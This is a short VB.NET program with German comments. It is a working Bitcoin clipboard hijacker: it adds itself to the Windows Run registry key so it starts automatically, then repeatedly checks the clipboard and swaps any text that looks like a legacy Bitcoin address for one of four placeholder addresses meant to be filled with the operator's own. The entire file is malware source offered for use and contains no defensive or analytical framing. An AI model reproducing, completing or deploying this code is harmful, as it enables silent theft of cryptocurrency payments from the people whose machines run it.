Imports System.IO
 
Public Class Form1
    'Autostart durch Eintragen des Programms in die Registry
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Dim key As Microsoft.Win32.RegistryKey = My.Computer.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
        key.SetValue(My.Application.Info.ProductName, """" & System.Reflection.Assembly.GetEntryAssembly.Location & """")
 
    End Sub
 
 
 
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        If My.Computer.Clipboard.ContainsText() Then            'wenn die Zwischenablage Text enthält,
            Dim adr As String = My.Computer.Clipboard.GetText   'schreibe den Text in die Variable adr
            ' Und wenn die Länge den Textes 34,33,32,31,30,29,28 oder 27 ist
            If adr.Length = "34" Or adr.Length = "33" Or adr.Length = "32" Or adr.Length = "31" Or adr.Length = "30" Or adr.Length = "29" Or adr.Length = "28" Or adr.Length = "27" Then
                If adr.Substring(0, 1) = "1" Then ' wenn das erste Zeichen eine 1 ist
                    Dim random As New System.Random() 'erstelle eine neue random variable
                    Dim zahl As Long = random.Next(1, 5) 'der Variablen Zahl wird eine eine Nummer zwischen 1 und 5 zugeschrieben
                    If zahl = 4 Then    ' wenn die Zahl 4 ist
                        My.Computer.Clipboard.SetText("Deine Bitcoin Adresse 1") 'nutze diese Bitcoin addresse
                    End If
                    If zahl = 3 Then    ' wenn die Zahl 3 ist
                        My.Computer.Clipboard.SetText("Deine Bitcoin Adresse 2") 'nutze diese Bitcoin addresse
                    End If
                    If zahl = 2 Then    ' wenn die Zahl 2 ist
                        My.Computer.Clipboard.SetText("Deine Bitcoin Adresse 3") 'nutze diese Bitcoin addresse
                    End If
                    If zahl = 1 Then    ' wenn die Zahl 1 ist
                        My.Computer.Clipboard.SetText("Deine Bitcoin Adresse 4") 'nutze diese Bitcoin addresse
                    End If
 
                End If
            End If
        End If
    End Sub
End Class